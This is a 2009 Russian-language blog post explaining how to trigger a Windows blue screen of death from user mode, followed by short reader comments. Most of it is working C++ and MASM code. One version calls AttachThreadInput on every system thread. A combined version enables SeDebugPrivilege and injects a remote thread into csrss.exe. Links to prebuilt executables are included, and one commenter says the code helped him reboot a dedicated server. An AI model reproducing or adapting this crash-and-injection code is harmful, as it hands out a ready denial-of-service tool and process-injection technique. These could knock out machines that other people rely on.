Как сделать BSOD из User-mode
Воскресенье, 17. Май 2009
Раздел: Assembler, автор: dx
Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:
Код на c++:
#include <windows.h> #include <Tlhelp32.h> #pragma comment(lib,"user32.lib") int main() { HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); THREADENTRY32 tBuffer={0}; tBuffer.dwSize=sizeof(THREADENTRY32); if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer)) { while (Thread32Next(SnapShotHandle,&tBuffer)) { AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE); } } return 1; }
Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\macros\macros.asm includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data? SnapShotHandle HANDLE ? tBuffer THREADENTRY32 <> .code start: mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0) mov tBuffer.dwSize,sizeof THREADENTRY32 invoke Thread32First,SnapShotHandle,offset tBuffer .if SnapShotHandle!=INVALID_HANDLE_VALUE && eax again: invoke Thread32Next,SnapShotHandle,offset tBuffer .if eax!=0 invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE jmp again .endif .endif end start
Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.
UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).
Этот код вызывает BSOD за счет внедрения своего потока в csrss.exe, который запускает MessageBox. Он также был переписан мной на ассемблере и объединен с первым. Вот полный текст кода (универсальный, объединенный с первым) для всех этих систем, кроме Windows 7:
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\macros\macros.asm include \masm32\include\advapi32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\advapi32.lib ADDRS struct pMessageBox DWORD ? txt DWORD ? ADDRS ends .data txt db "BSOD",0 .data? s db 1024 dup(?) EnumProcesses dd ? EnumProcessModules dd ? GetModuleBaseName dd ? hinst HMODULE ? addrs ADDRS <> temp dd ? SnapShotHandle HANDLE ? tBuffer THREADENTRY32 <> .code start: main PROC LOCAL psapi:HMODULE mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0) mov tBuffer.dwSize,sizeof THREADENTRY32 invoke Thread32First,SnapShotHandle,offset tBuffer .if SnapShotHandle!=INVALID_HANDLE_VALUE && eax again: invoke Thread32Next,SnapShotHandle,offset tBuffer .if eax!=0 invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE jmp again .endif .endif mov psapi,FUNC(LoadLibrary,chr$("psapi.dll")) mov EnumProcesses,FUNC(GetProcAddress,psapi,chr$("EnumProcesses")) mov EnumProcessModules,FUNC(GetProcAddress,psapi,chr$("EnumProcessModules")) mov GetModuleBaseName,FUNC(GetProcAddress,psapi,chr$("GetModuleBaseNameA")) call HideNT invoke Sleep,100 invoke ExitProcess,0 ret main ENDP HideNT PROC LOCAL hToken:HANDLE LOCAL tkp:TOKEN_PRIVILEGES LOCAL pe:DWORD LOCAL wb:DWORD LOCAL n:DWORD LOCAL pr [1024] :DWORD LOCAL cpid:DWORD LOCAL h:HANDLE LOCAL xmod:HMODULE LOCAL nmod:DWORD LOCAL hmem:DWORD LOCAL sizeIMG:DWORD LOCAL tid:DWORD invoke RtlFillMemory,addr tkp,sizeof tkp,0 mov ebx,FUNC(GetCurrentProcess) invoke OpenProcessToken,ebx,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken invoke LookupPrivilegeValue,0,chr$("SeDebugPrivilege"),addr tkp.Privileges[0].Luid mov tkp.PrivilegeCount,1 mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED invoke AdjustTokenPrivileges,hToken, FALSE, addr tkp, 0, 0, 0 mov hinst,FUNC(GetModuleHandle,0) mov ebx, hinst assume ebx : ptr IMAGE_DOS_HEADER mov ebx, [ebx].e_lfanew add ebx,hinst assume ebx : ptr IMAGE_NT_HEADERS mov ebx,[ebx].OptionalHeader.SizeOfImage mov sizeIMG,ebx lea eax,n push eax push 1024 lea eax,pr push eax call EnumProcesses shr n,2 mov cpid,FUNC(GetCurrentProcessId) mov ecx,0 cycle: push ecx mov eax,pr[ecx*4] .if eax == cpid pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif mov h,FUNC(OpenProcess,PROCESS_ALL_ACCESS,0,pr[ecx*4]) .if !h pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif lea eax,nmod push eax push 4 lea eax,xmod push eax push h call EnumProcessModules push 1023 push offset s push xmod push h call GetModuleBaseName invoke lstrcmpi,offset s,chr$("csrss.exe") .if eax invoke CloseHandle,h pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif mov hmem,FUNC(VirtualAllocEx,h,0,sizeIMG,MEM_RESERVE or MEM_COMMIT,PAGE_EXECUTE_READWRITE) .if !eax invoke CloseHandle,h pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif m2m addrs.txt,offset txt mov eax,hmem add addrs.txt,eax mov eax,hinst sub addrs.txt,eax mov addrs.pMessageBox,offset MessageBoxA invoke WriteProcessMemory,h,hmem,hinst,sizeIMG,addr wb .if !eax invoke CloseHandle,h invoke VirtualFreeEx,h,hmem,sizeIMG,MEM_DECOMMIT or MEM_RELEASE pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif mov eax,offset Hack add eax,hmem sub eax,hinst mov temp,eax mov eax,offset addrs add eax,hmem sub eax,hinst lea ebx,tid invoke CreateRemoteThread,h,0,0,temp,eax,0,ebx .if !eax invoke CloseHandle,h invoke VirtualFreeEx,h,hmem,sizeIMG,MEM_DECOMMIT or MEM_RELEASE pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif pop ecx inc ecx .if ecx!=n jmp cycle .endif endcycle: ret HideNT ENDP Hack PROC, a :ADDRS push 0 lea eax,a.txt push eax lea eax,a.txt push eax push 0 call a.pMessageBox ret Hack ENDP end main
Скачать пример 1 в exe можно тут: ZIP
Скачать универсальный пример в exe можно тут: ZIP

Kayavappen :
Ааааа, в рот мне ноги!!
[Ответить]
WoOlfey :
Ну привилегии отладки эт конечно уже жирновато для юзер мода)
[Ответить]
Andrik :
СПАСИБО!!! dx, ты мне ОЧЕНЬ помог! Никак не мог перзагрузить дедик :)
[Ответить]